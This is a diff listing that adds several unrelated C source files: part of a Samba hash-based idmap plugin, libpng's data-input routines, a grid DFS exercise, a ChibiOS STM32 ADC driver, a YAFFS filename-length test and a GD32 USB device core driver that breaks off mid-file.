+		if ((hash = hash_domain_sid(&dom_list[i].sid)) == 0)
+			continue;
+
+		DBG_INFO("Adding %s (%s) -> %d\n",
+			 dom_list[i].domain_name,
+			 sid_string_dbg(&dom_list[i].sid),
+			 hash);
+
+		hashed_domains[hash].sid = talloc(hashed_domains, struct dom_sid);
+		sid_copy(hashed_domains[hash].sid, &dom_list[i].sid);
+	}
+
+	dom->private_data = hashed_domains;
+
+done:
+	return nt_status;
+}
+
+/*********************************************************************
+ ********************************************************************/
+
+static NTSTATUS unixids_to_sids(struct idmap_domain *dom,
+				struct id_map **ids)
+{
+	struct sid_hash_table *hashed_domains = talloc_get_type_abort(
+		dom->private_data, struct sid_hash_table);
+	NTSTATUS nt_status = NT_STATUS_UNSUCCESSFUL;
+	int i;
+
+	if (!ids) {
+		nt_status = NT_STATUS_INVALID_PARAMETER;
+		BAIL_ON_NTSTATUS_ERROR(nt_status);
+	}
+
+	/* initialize the status to avoid suprise */
+	for (i = 0; ids[i]; i++) {
+		ids[i]->status = ID_UNKNOWN;
+	}
+
+	nt_status = idmap_hash_initialize(dom);
+	BAIL_ON_NTSTATUS_ERROR(nt_status);
+
+	for (i=0; ids[i]; i++) {
+		uint32_t h_domain, h_rid;
+
+		ids[i]->status = ID_UNMAPPED;
+
+		separate_hashes(ids[i]->xid.id, &h_domain, &h_rid);
+
+		/* Make sure the caller allocated memor for us */
+
+		if (!ids[i]->sid) {
+			nt_status = NT_STATUS_INVALID_PARAMETER;
+			BAIL_ON_NTSTATUS_ERROR(nt_status);
+		}
+
+		/* If the domain hash doesn't find a SID in the table,
+		   skip it */
+
+		if (!hashed_domains[h_domain].sid)
+			continue;
+
+		sid_compose(ids[i]->sid, hashed_domains[h_domain].sid, h_rid);
+		ids[i]->status = ID_MAPPED;
+	}
+
+done:
+	return nt_status;
+}
+
+/*********************************************************************
+ ********************************************************************/
+
+static NTSTATUS sids_to_unixids(struct idmap_domain *dom,
+				struct id_map **ids)
+{
+	NTSTATUS nt_status = NT_STATUS_UNSUCCESSFUL;
+	int i;
+
+	if (!ids) {
+		nt_status = NT_STATUS_INVALID_PARAMETER;
+		BAIL_ON_NTSTATUS_ERROR(nt_status);
+	}
+
+	/* initialize the status to avoid suprise */
+	for (i = 0; ids[i]; i++) {
+		ids[i]->status = ID_UNKNOWN;
+	}
+
+	nt_status = idmap_hash_initialize(dom);
+	BAIL_ON_NTSTATUS_ERROR(nt_status);
+
+	for (i=0; ids[i]; i++) {
+		struct dom_sid sid;
+		uint32_t rid;
+		uint32_t h_domain, h_rid;
+
+		ids[i]->status = ID_UNMAPPED;
+
+		sid_copy(&sid, ids[i]->sid);
+		sid_split_rid(&sid, &rid);
+
+		h_domain = hash_domain_sid(&sid);
+		h_rid = hash_rid(rid);
+
+		/* Check that both hashes are non-zero*/
+
+		if (h_domain && h_rid) {
+			ids[i]->xid.id = combine_hashes(h_domain, h_rid);
+			ids[i]->status = ID_MAPPED;
+		}
+	}
+
+done:
+	return nt_status;
+}
+
+/*********************************************************************
+ ********************************************************************/
+
+static NTSTATUS nss_hash_init(struct nss_domain_entry *e )
+{
+	return NT_STATUS_OK;
+}
+
+/**********************************************************************
+ *********************************************************************/
+
+static NTSTATUS nss_hash_map_to_alias(TALLOC_CTX *mem_ctx,
+					struct nss_domain_entry *e,
+					const char *name,
+					char **alias)
+{
+	NTSTATUS nt_status = NT_STATUS_UNSUCCESSFUL;
+	const char *value;
+
+	value = talloc_asprintf(mem_ctx, "%s\\%s", e->domain, name);
+	BAIL_ON_PTR_NT_ERROR(value, nt_status);
+
+	nt_status = mapfile_lookup_key(mem_ctx, value, alias);
+	BAIL_ON_NTSTATUS_ERROR(nt_status);
+
+done:
+	return nt_status;
+}
+
+/**********************************************************************
+ *********************************************************************/
+
+static NTSTATUS nss_hash_map_from_alias(TALLOC_CTX *mem_ctx,
+					  struct nss_domain_entry *e,
+					  const char *alias,
+					  char **name)
+{
+	return mapfile_lookup_value(mem_ctx, alias, name);
+}
+
+/**********************************************************************
+ *********************************************************************/
+
+static NTSTATUS nss_hash_close(void)
+{
+	return NT_STATUS_OK;
+}
+
+/*********************************************************************
+ Dispatch Tables for IDMap and NssInfo Methods
+********************************************************************/
+
+static struct idmap_methods hash_idmap_methods = {
+	.init            = idmap_hash_initialize,
+	.unixids_to_sids = unixids_to_sids,
+	.sids_to_unixids = sids_to_unixids,
+};
+
+static struct nss_info_methods hash_nss_methods = {
+	.init           = nss_hash_init,
+	.map_to_alias   = nss_hash_map_to_alias,
+	.map_from_alias = nss_hash_map_from_alias,
+	.close_fn       = nss_hash_close
+};
+
+/**********************************************************************
+ Register with the idmap and idmap_nss subsystems. We have to protect
+ against the idmap and nss_info interfaces being in a half-registered
+ state.
+ **********************************************************************/
+
+static_decl_idmap;
+NTSTATUS idmap_hash_init(void)
+{
+	static NTSTATUS idmap_status = NT_STATUS_UNSUCCESSFUL;
+	static NTSTATUS nss_status = NT_STATUS_UNSUCCESSFUL;
+
+	if ( !NT_STATUS_IS_OK(idmap_status) ) {
+		idmap_status =  smb_register_idmap(SMB_IDMAP_INTERFACE_VERSION,
+						   "hash", &hash_idmap_methods);
+
+		if ( !NT_STATUS_IS_OK(idmap_status) ) {
+			DEBUG(0,("Failed to register hash idmap plugin.\n"));
+			return idmap_status;
+		}
+	}
+
+	if ( !NT_STATUS_IS_OK(nss_status) ) {
+		nss_status = smb_register_idmap_nss(SMB_NSS_INFO_INTERFACE_VERSION,
+						    "hash", &hash_nss_methods);
+		if ( !NT_STATUS_IS_OK(nss_status) ) {
+			DEBUG(0,("Failed to register hash idmap nss plugin.\n"));
+			return nss_status;
+		}
+	}
+
+	return NT_STATUS_OK;
+}
diff --git a/pool/shard001/C/0023365_pngrio.c b/pool/shard001/C/0023365_pngrio.c
new file mode 100644
index 0000000000000000000000000000000000000000..9ce07379485ed43dd51085ee9c94626f23e55893
--- /dev/null
+++ b/pool/shard001/C/0023365_pngrio.c
@@ -0,0 +1,179 @@
+
+/* pngrio.c - functions for data input
+ *
+ * Last changed in libpng 1.2.41 [December 3, 2009]
+ * Copyright (c) 1998-2009 Glenn Randers-Pehrson
+ * (Version 0.96 Copyright (c) 1996, 1997 Andreas Dilger)
+ * (Version 0.88 Copyright (c) 1995, 1996 Guy Eric Schalnat, Group 42, Inc.)
+ *
+ * This code is released under the libpng license.
+ * For conditions of distribution and use, see the disclaimer
+ * and license in png.h
+ *
+ * This file provides a location for all input.  Users who need
+ * special handling are expected to write a function that has the same
+ * arguments as this and performs a similar function, but that possibly
+ * has a different input method.  Note that you shouldn't change this
+ * function, but rather write a replacement function and then make
+ * libpng use it at run time with png_set_read_fn(...).
+ */
+
+#define PNG_INTERNAL
+#define PNG_NO_PEDANTIC_WARNINGS
+#include "png.h"
+#ifdef PNG_READ_SUPPORTED
+
+/* Read the data from whatever input you are using.  The default routine
+ * reads from a file pointer.  Note that this routine sometimes gets called
+ * with very small lengths, so you should implement some kind of simple
+ * buffering if you are using unbuffered reads.  This should never be asked
+ * to read more then 64K on a 16 bit machine.
+ */
+void /* PRIVATE */
+png_read_data(png_structp png_ptr, png_bytep data, png_size_t length)
+{
+   png_debug1(4, "reading %d bytes", (int)length);
+ 
+   if (png_ptr->read_data_fn != NULL)
+      (*(png_ptr->read_data_fn))(png_ptr, data, length);
+   else
+      png_error(png_ptr, "Call to NULL read function");
+}
+
+#ifdef PNG_STDIO_SUPPORTED
+/* This is the function that does the actual reading of data.  If you are
+ * not reading from a standard C stream, you should create a replacement
+ * read_data function and use it at run time with png_set_read_fn(), rather
+ * than changing the library.
+ */
+#ifndef USE_FAR_KEYWORD
+void PNGAPI
+png_default_read_data(png_structp png_ptr, png_bytep data, png_size_t length)
+{
+   png_size_t check;
+
+   if (png_ptr == NULL)
+      return;
+   /* fread() returns 0 on error, so it is OK to store this in a png_size_t
+    * instead of an int, which is what fread() actually returns.
+    */
+#ifdef _WIN32_WCE
+   if ( !ReadFile((HANDLE)(png_ptr->io_ptr), data, length, &check, NULL) )
+      check = 0;
+#else
+   check = (png_size_t)fread(data, (png_size_t)1, length,
+      (png_FILE_p)png_ptr->io_ptr);
+#endif
+
+   if (check != length)
+      png_error(png_ptr, "Read Error");
+}
+#else
+/* This is the model-independent version. Since the standard I/O library
+   can't handle far buffers in the medium and small models, we have to copy
+   the data.
+*/
+
+#define NEAR_BUF_SIZE 1024
+#define MIN(a,b) (a <= b ? a : b)
+
+static void PNGAPI
+png_default_read_data(png_structp png_ptr, png_bytep data, png_size_t length)
+{
+   int check;
+   png_byte *n_data;
+   png_FILE_p io_ptr;
+
+   if (png_ptr == NULL)
+      return;
+   /* Check if data really is near. If so, use usual code. */
+   n_data = (png_byte *)CVT_PTR_NOCHECK(data);
+   io_ptr = (png_FILE_p)CVT_PTR(png_ptr->io_ptr);
+   if ((png_bytep)n_data == data)
+   {
+#ifdef _WIN32_WCE
+      if ( !ReadFile((HANDLE)(png_ptr->io_ptr), data, length, &check, NULL) )
+         check = 0;
+#else
+      check = fread(n_data, 1, length, io_ptr);
+#endif
+   }
+   else
+   {
+      png_byte buf[NEAR_BUF_SIZE];
+      png_size_t read, remaining, err;
+      check = 0;
+      remaining = length;
+      do
+      {
+         read = MIN(NEAR_BUF_SIZE, remaining);
+#ifdef _WIN32_WCE
+         if ( !ReadFile((HANDLE)(io_ptr), buf, read, &err, NULL) )
+            err = 0;
+#else
+         err = fread(buf, (png_size_t)1, read, io_ptr);
+#endif
+         png_memcpy(data, buf, read); /* copy far buffer to near buffer */
+         if (err != read)
+            break;
+         else
+            check += err;
+         data += read;
+         remaining -= read;
+      }
+      while (remaining != 0);
+   }
+   if ((png_uint_32)check != (png_uint_32)length)
+      png_error(png_ptr, "read Error");
+}
+#endif
+#endif
+
+/* This function allows the application to supply a new input function
+ * for libpng if standard C streams aren't being used.
+ *
+ * This function takes as its arguments:
+ * png_ptr      - pointer to a png input data structure
+ * io_ptr       - pointer to user supplied structure containing info about
+ *                the input functions.  May be NULL.
+ * read_data_fn - pointer to a new input function that takes as its
+ *                arguments a pointer to a png_struct, a pointer to
+ *                a location where input data can be stored, and a 32-bit
+ *                unsigned int that is the number of bytes to be read.
+ *                To exit and output any fatal error messages the new write
+ *                function should call png_error(png_ptr, "Error msg").
+ *                May be NULL, in which case libpng's default function will
+ *                be used.
+ */
+void PNGAPI
+png_set_read_fn(png_structp png_ptr, png_voidp io_ptr,
+   png_rw_ptr read_data_fn)
+{
+   if (png_ptr == NULL)
+      return;
+   png_ptr->io_ptr = io_ptr;
+
+#ifdef PNG_STDIO_SUPPORTED
+   if (read_data_fn != NULL)
+      png_ptr->read_data_fn = read_data_fn;
+   else
+      png_ptr->read_data_fn = png_default_read_data;
+#else
+   png_ptr->read_data_fn = read_data_fn;
+#endif
+
+   /* It is an error to write to a read device */
+   if (png_ptr->write_data_fn != NULL)
+   {
+      png_ptr->write_data_fn = NULL;
+      png_warning(png_ptr,
+         "It's an error to set both read_data_fn and write_data_fn in the ");
+      png_warning(png_ptr,
+         "same structure.  Resetting write_data_fn to NULL.");
+   }
+
+#ifdef PNG_WRITE_FLUSH_SUPPORTED
+   png_ptr->output_flush_fn = NULL;
+#endif
+}
+#endif /* PNG_READ_SUPPORTED */
diff --git a/pool/shard001/C/0023369_12037_dfs.c b/pool/shard001/C/0023369_12037_dfs.c
new file mode 100644
index 0000000000000000000000000000000000000000..9d7a7b0dada0c129ca4c7c54bad64262adc1848e
--- /dev/null
+++ b/pool/shard001/C/0023369_12037_dfs.c
@@ -0,0 +1,70 @@
+#include <stdio.h>
+
+int a[101][101] = {0};
+int book[101][101] = {0};
+int n, m;
+int sum, max = 0;
+
+int next[4][2] = {
+    {1,0},
+    {0,1},
+    {-1,0},
+    {0,-1}
+};
+
+void dfs(int x, int y, int num){
+
+    int i;
+    int tx,ty;
+
+    for (i = 0; i < 4; i++) {
+        tx = x + next[i][0];
+        ty = y + next[i][1];
+
+        if (tx < 1 || tx > n || ty < 1 || ty > m) {
+            continue;
+        }
+
+        if (a[tx][ty] > 0 && book[tx][ty] == 0) {
+            book[tx][ty] = 1;
+            a[tx][ty] = num;
+
+            sum++;
+            dfs(tx, ty, num);
+        }
+    }
+    
+    return;
+}
+
+int main(){
+
+    int i, j;
+    int startx, starty;
+    int num = 0;
+    scanf("%d %d", &n, &m);
+
+    for (i = 1; i <= n; i++) {
+        for (j = 1; j <= m; j++) {
+            scanf("%d", &a[i][j]);
+        }
+    }
+
+    for (i = 1; i <= n; i++) {
+        for (j = 1; j<= m; j++) {
+            
+            if (a[i][j] > 0) {
+                num--;
+                dfs(i, j, num);
+
+                if (sum > max) {
+                    max = sum;
+                }
+                sum = 0;
+            }
+        }
+    }
+
+    printf("max=%d\n", max);
+    return 0;
+}
diff --git a/pool/shard001/C/0023370_adc_lld.c b/pool/shard001/C/0023370_adc_lld.c
new file mode 100644
index 0000000000000000000000000000000000000000..51c34e1c016ca7e302e0f23d001f7acfff3ccc9f
--- /dev/null
+++ b/pool/shard001/C/0023370_adc_lld.c
@@ -0,0 +1,233 @@
+/*
+    ChibiOS - Copyright (C) 2006..2015 Giovanni Di Sirio
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+*/
+
+/**
+ * @file    STM32F1xx/adc_lld.c
+ * @brief   STM32F1xx ADC subsystem low level driver source.
+ *
+ * @addtogroup ADC
+ * @{
+ */
+
+#include "hal.h"
+
+#if HAL_USE_ADC || defined(__DOXYGEN__)
+
+/*===========================================================================*/
+/* Driver local definitions.                                                 */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Driver exported variables.                                                */
+/*===========================================================================*/
+
+/** @brief ADC1 driver identifier.*/
+#if STM32_ADC_USE_ADC1 || defined(__DOXYGEN__)
+ADCDriver ADCD1;
+#endif
+
+/*===========================================================================*/
+/* Driver local variables and types.                                         */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Driver local functions.                                                   */
+/*===========================================================================*/
+
+/**
+ * @brief   Shared ADC DMA ISR service routine.
+ *
+ * @param[in] adcp      pointer to the @p ADCDriver object
+ * @param[in] flags     pre-shifted content of the ISR register
+ */
+static void adc_lld_serve_rx_interrupt(ADCDriver *adcp, uint32_t flags) {
+
+  /* DMA errors handling.*/
+  if ((flags & STM32_DMA_ISR_TEIF) != 0) {
+    /* DMA, this could help only if the DMA tries to access an unmapped
+       address space or violates alignment rules.*/
+    _adc_isr_error_code(adcp, ADC_ERR_DMAFAILURE);
+  }
+  else {
+    if ((flags & STM32_DMA_ISR_TCIF) != 0) {
+      /* Transfer complete processing.*/
+      _adc_isr_full_code(adcp);
+    }
+    else if ((flags & STM32_DMA_ISR_HTIF) != 0) {
+      /* Half transfer processing.*/
+      _adc_isr_half_code(adcp);
+    }
+  }
+}
+
+/*===========================================================================*/
+/* Driver interrupt handlers.                                                */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Driver exported functions.                                                */
+/*===========================================================================*/
+
+/**
+ * @brief   Low level ADC driver initialization.
+ *
+ * @notapi
+ */
+void adc_lld_init(void) {
+
+#if STM32_ADC_USE_ADC1
+  /* Driver initialization.*/
+  adcObjectInit(&ADCD1);
+  ADCD1.adc = ADC1;
+  ADCD1.dmastp  = STM32_DMA1_STREAM1;
+  ADCD1.dmamode = STM32_DMA_CR_PL(STM32_ADC_ADC1_DMA_PRIORITY) |
+                  STM32_DMA_CR_MSIZE_HWORD | STM32_DMA_CR_PSIZE_HWORD |
+                  STM32_DMA_CR_MINC        | STM32_DMA_CR_TCIE        |
+                  STM32_DMA_CR_TEIE;
+
+  /* Temporary activation.*/
+  rccEnableADC1(FALSE);
+  ADC1->CR1 = 0;
+  ADC1->CR2 = ADC_CR2_ADON;
+
+  /* Reset calibration just to be safe.*/
+  ADC1->CR2 = ADC_CR2_ADON | ADC_CR2_RSTCAL;
+  while ((ADC1->CR2 & ADC_CR2_RSTCAL) != 0)
+    ;
+
+  /* Calibration.*/
+  ADC1->CR2 = ADC_CR2_ADON | ADC_CR2_CAL;
+  while ((ADC1->CR2 & ADC_CR2_CAL) != 0)
+    ;
+
+  /* Return the ADC in low power mode.*/
+  ADC1->CR2 = 0;
+  rccDisableADC1(FALSE);
+#endif
+}
+
+/**
+ * @brief   Configures and activates the ADC peripheral.
+ *
+ * @param[in] adcp      pointer to the @p ADCDriver object
+ *
+ * @notapi
+ */
+void adc_lld_start(ADCDriver *adcp) {
+
+  /* If in stopped state then enables the ADC and DMA clocks.*/
+  if (adcp->state == ADC_STOP) {
+#if STM32_ADC_USE_ADC1
+    if (&ADCD1 == adcp) {
+      bool b;
+      b = dmaStreamAllocate(adcp->dmastp,
+                            STM32_ADC_ADC1_IRQ_PRIORITY,
+                            (stm32_dmaisr_t)adc_lld_serve_rx_interrupt,
+                            (void *)adcp);
+      osalDbgAssert(!b, "stream already allocated");
+      dmaStreamSetPeripheral(adcp->dmastp, &ADC1->DR);
+      rccEnableADC1(FALSE);
+    }
+#endif
+
+    /* ADC setup, the calibration procedure has already been performed
+       during initialization.*/
+    adcp->adc->CR1 = 0;
+    adcp->adc->CR2 = 0;
+  }
+}
+
+/**
+ * @brief   Deactivates the ADC peripheral.
+ *
+ * @param[in] adcp      pointer to the @p ADCDriver object
+ *
+ * @notapi
+ */
+void adc_lld_stop(ADCDriver *adcp) {
+
+  /* If in ready state then disables the ADC clock.*/
+  if (adcp->state == ADC_READY) {
+#if STM32_ADC_USE_ADC1
+    if (&ADCD1 == adcp) {
+      ADC1->CR1 = 0;
+      ADC1->CR2 = 0;
+      dmaStreamRelease(adcp->dmastp);
+      rccDisableADC1(FALSE);
+    }
+#endif
+  }
+}
+
+/**
+ * @brief   Starts an ADC conversion.
+ *
+ * @param[in] adcp      pointer to the @p ADCDriver object
+ *
+ * @notapi
+ */
+void adc_lld_start_conversion(ADCDriver *adcp) {
+  uint32_t mode, cr2;
+  const ADCConversionGroup *grpp = adcp->grpp;
+
+  /* DMA setup.*/
+  mode = adcp->dmamode;
+  if (grpp->circular) {
+    mode |= STM32_DMA_CR_CIRC;
+    if (adcp->depth > 1) {
+      /* If circular buffer depth > 1, then the half transfer interrupt
+         is enabled in order to allow streaming processing.*/
+      mode |= STM32_DMA_CR_HTIE;
+    }
+  }
+  dmaStreamSetMemory0(adcp->dmastp, adcp->samples);
+  dmaStreamSetTransactionSize(adcp->dmastp, (uint32_t)grpp->num_channels *
+                                            (uint32_t)adcp->depth);
+  dmaStreamSetMode(adcp->dmastp, mode);
+  dmaStreamEnable(adcp->dmastp);
+
+  /* ADC setup.*/
+  adcp->adc->CR1   = grpp->cr1 | ADC_CR1_SCAN;
+  cr2 = grpp->cr2 | ADC_CR2_DMA | ADC_CR2_ADON;
+  if ((cr2 & (ADC_CR2_EXTTRIG | ADC_CR2_JEXTTRIG)) == 0)
+    cr2 |= ADC_CR2_CONT;
+  adcp->adc->CR2   = grpp->cr2 | cr2;
+  adcp->adc->SMPR1 = grpp->smpr1;
+  adcp->adc->SMPR2 = grpp->smpr2;
+  adcp->adc->SQR1  = grpp->sqr1;
+  adcp->adc->SQR2  = grpp->sqr2;
+  adcp->adc->SQR3  = grpp->sqr3;
+
+  /* ADC start by writing ADC_CR2_ADON a second time.*/
+  adcp->adc->CR2   = cr2;
+}
+
+/**
+ * @brief   Stops an ongoing conversion.
+ *
+ * @param[in] adcp      pointer to the @p ADCDriver object
+ *
+ * @notapi
+ */
+void adc_lld_stop_conversion(ADCDriver *adcp) {
+
+  dmaStreamDisable(adcp->dmastp);
+  adcp->adc->CR2 = 0;
+}
+
+#endif /* HAL_USE_ADC */
+
+/** @} */
diff --git a/pool/shard001/C/0023378_test_yaffs_truncate_ENAMETOOLONG.c b/pool/shard001/C/0023378_test_yaffs_truncate_ENAMETOOLONG.c
new file mode 100644
index 0000000000000000000000000000000000000000..998b14c16622f07eb638d4341dd780ffc8188d1d
--- /dev/null
+++ b/pool/shard001/C/0023378_test_yaffs_truncate_ENAMETOOLONG.c
@@ -0,0 +1,49 @@
+/*
+ * YAFFS: Yet another FFS. A NAND-flash specific file system.
+ *
+ * Copyright (C) 2002-2011 Aleph One Ltd.
+ *   for Toby Churchill Ltd and Brightstar Engineering
+ *
+ * Created by Timothy Manning <timothy@yaffs.net>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include "test_yaffs_truncate_ENAMETOOLONG.h"
+
+
+
+int test_yaffs_truncate_ENAMETOOLONG(void)
+{
+	int error=0;
+	int output=0;
+
+	int file_name_length=1000000;
+	char file_name[file_name_length];
+	int x=0;
+	for (x=0; x<file_name_length -1; x++){
+		file_name[x]='a';
+	}
+	file_name[file_name_length-2]='\0';
+
+	output= yaffs_truncate(file_name,FILE_SIZE_TRUNCATED );
+	if (output<0){
+		error=yaffs_get_error();
+		if (abs(error)==ENAMETOOLONG){
+			return 1;
+		} else {
+			print_message("received a different error than expected\n",2);
+			return -1;
+		}
+	} else{
+		print_message("truncated a nonexisting file\n",2);
+		return -1;
+	}
+}
+
+int test_yaffs_truncate_ENAMETOOLONG_clean(void)
+{
+	return 1;
+}
diff --git a/pool/shard001/C/0023392_usbd_core.c b/pool/shard001/C/0023392_usbd_core.c
new file mode 100644
index 0000000000000000000000000000000000000000..f244b55acbd2899de86e778514234ba8f4c63912
--- /dev/null
+++ b/pool/shard001/C/0023392_usbd_core.c
@@ -0,0 +1,455 @@
+/*!
+    \file  usbd_core.c
+    \brief USB device driver
+
+    \version 2014-12-26, V1.0.0, firmware for GD32F10x
+    \version 2017-06-20, V2.0.0, firmware for GD32F10x
+    \version 2018-07-31, V2.1.0, firmware for GD32F10x
+*/
+
+/*
+    Copyright (c) 2018, GigaDevice Semiconductor Inc.
+
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without modification, 
+are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this 
+       list of conditions and the following disclaimer.
+    2. Redistributions in binary form must reproduce the above copyright notice, 
+       this list of conditions and the following disclaimer in the documentation 
+       and/or other materials provided with the distribution.
+    3. Neither the name of the copyright holder nor the names of its contributors 
+       may be used to endorse or promote products derived from this software without 
+       specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 
+IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, 
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 
+NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 
+PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 
+WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY 
+OF SUCH DAMAGE.
+*/
+
+#include "usbd_core.h"
+#include "usbd_std.h"
+
+uint32_t g_interrupt_mask = 0U;
+uint32_t g_free_buf_addr = ENDP_BUF_ADDR;
+
+usbd_ep_buf_struct *pbuf_reg = (usbd_ep_buf_struct *)(USBD_RAM + BUFFER_ADDRESS * 2);
+
+/*!
+    \brief      device core register initialization
+    \param[in]  none
+    \param[out] none
+    \retval     none
+*/
+void  usbd_core_init (usbd_core_handle_struct *pudev)
+{
+    /* disable remote wakeup feature */
+    pudev->remote_wakeup = 0U;
+
+    /* just reset the CLOSE bit */
+    USBD_REG_SET(USBD_CTL, CTL_SETRST);
+
+    /* may be need wait some time(tSTARTUP) ... */
+
+    /* clear SETRST bit in USBD_CTL register */
+    USBD_REG_SET(USBD_CTL, 0U);
+
+    /* clear all pending interrupts */
+    USBD_REG_SET(USBD_INTF, 0U);
+
+    /* set allocation buffer address */
+    USBD_REG_SET(USBD_BADDR, BUFFER_ADDRESS & 0xFFF8U);
+
+    g_interrupt_mask = IER_MASK;
+
+#ifdef LPM_ENABLED
+    /* enable L1REQ interrupt */
+    USBD_REG_SET(USBD_LPMCS, LPMCS_LPMACK | LPMCS_LPMEN);
+#endif /* LPM_ENABLED */
+
+    /* enable all interrupts mask bits */
+    USBD_REG_SET(USBD_CTL, g_interrupt_mask);
+}
+
+/*!
+    \brief      free buffer used from application by toggling the SW_BUF byte
+    \param[in]  ep_num: endpoint identifier (0..7)
+    \param[in]  dir: endpoint direction which can be OUT(0) or IN(1)
+    \param[out] none
+    \retval     None
+*/
+void  user_buffer_free (uint8_t ep_num, uint8_t dir)
+{
+    if (DBUF_EP_OUT == dir) {
+        USBD_SWBUF_RX_TOGGLE(ep_num);
+    } else if (DBUF_EP_IN == dir) {
+        USBD_SWBUF_TX_TOGGLE(ep_num);
+    } else {
+        /* no operation */
+    }
+}
+
+/*!
+    \brief      device core register configure when stop device
+    \param[in]  none
+    \param[out] none
+    \retval     none
+*/
+void  usbd_core_deinit (void)
+{
+    /* disable all interrupts and set USB reset */
+    USBD_REG_SET(USBD_CTL, CTL_SETRST);
+
+    /* clear all interrupt flags */
+    USBD_REG_SET(USBD_INTF, 0U);
+
+    /* close device */
+    USBD_REG_SET(USBD_CTL, CTL_SETRST | CTL_CLOSE);
+}
+
+/*!
+    \brief      endpoint initialization
+    \param[in]  pudev: pointer to USB core instance
+    \param[in]  buf_kind: kind of buffer
+    \param[in]  pep_desc: pointer to endpoint descriptor
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_init (usbd_core_handle_struct *pudev, usbd_epkind_enum buf_kind, void *ep_desc)
+{
+    usb_descriptor_endpoint_struct *desc_ep = (usb_descriptor_endpoint_struct *)ep_desc;
+
+    uint8_t ep_num = desc_ep->bEndpointAddress & 0x0FU;
+    uint32_t reg_value = 0;
+
+    /* set the endpoint type */
+    switch (desc_ep->bmAttributes & USB_EPTYPE_MASK) {
+    case ENDP_CONTROL:
+        reg_value = EP_CONTROL;
+        break;
+    case ENDP_BULK:
+        reg_value = EP_BULK;
+        break;
+    case ENDP_INT:
+        reg_value = EP_INTERRUPT;
+        break;
+    case ENDP_ISOC:
+        reg_value = EP_ISO;
+        break;
+    default:
+        break;
+    }
+
+    USBD_REG_SET(USBD_EPxCS(ep_num), reg_value | ep_num);
+
+    reg_value = desc_ep->wMaxPacketSize;
+
+    if (desc_ep->bEndpointAddress >> 7U) {
+        usb_ep_struct *ep = &pudev->in_ep[ep_num];
+
+        ep->maxpacket = reg_value;
+
+        /* set the endpoint transmit buffer address */
+        (pbuf_reg + ep_num)->tx_addr = (uint16_t)g_free_buf_addr;
+
+        reg_value = (reg_value + 1U) & ~1U;
+
+        g_free_buf_addr += reg_value;
+
+        if (ENDP_DBL_BUF == buf_kind) {
+            USBD_ENDP_DOUBLE_BUF_SET(ep_num);
+
+            (pbuf_reg + ep_num)->rx_addr = (uint16_t)g_free_buf_addr;
+
+            g_free_buf_addr += reg_value;
+
+            USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_VALID);
+            USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_DISABLED);
+        } else {
+            /* configure the endpoint status as NAK status */
+            USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_NAK);
+        }
+    } else {
+        usb_ep_struct *ep = &pudev->out_ep[ep_num];
+
+        ep->maxpacket = reg_value;
+
+        if (ENDP_DBL_BUF == buf_kind) {
+            USBD_ENDP_DOUBLE_BUF_SET(ep_num);
+
+            USBD_DTG_TX_TOGGLE(ep_num);
+
+            /* set the endpoint transmit buffer address */
+            (pbuf_reg + ep_num)->tx_addr = (uint16_t)g_free_buf_addr;
+
+            if (reg_value > 62U) {
+                reg_value = (reg_value + 31U) & ~31U;
+                (pbuf_reg + ep_num)->tx_count = (uint16_t)(((reg_value << 5U) - 1U) | 0x8000U);
+            } else {
+                reg_value = (reg_value + 1U) & ~1U;
+                (pbuf_reg + ep_num)->tx_count = (uint16_t)(reg_value << 9U);
+            }
+
+            g_free_buf_addr += reg_value;
+        }
+
+        reg_value = desc_ep->wMaxPacketSize;
+
+        /* set the endpoint receive buffer address */
+        (pbuf_reg + ep_num)->rx_addr = (uint16_t)g_free_buf_addr;
+
+        if (reg_value > 62U) {
+            reg_value = (reg_value + 31U) & ~31U;
+            (pbuf_reg + ep_num)->rx_count = (uint16_t)(((reg_value << 5U) - 1U) | 0x8000U);
+        } else {
+            reg_value = (reg_value + 1U) & ~1U;
+            (pbuf_reg + ep_num)->rx_count = (uint16_t)(reg_value << 9U);
+        }
+
+        if (ENDP_DBL_BUF == buf_kind) {
+            USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_DISABLED);
+            USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_NAK);
+        } else {
+            /* configure the endpoint status as NAK status */
+            USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_NAK);
+        }
+    }
+}
+
+/*!
+    \brief      configure the endpoint when it is disabled
+    \param[in]  pudev: pointer to USB core instance
+    \param[in]  ep_addr: endpoint address
+                  in this parameter:
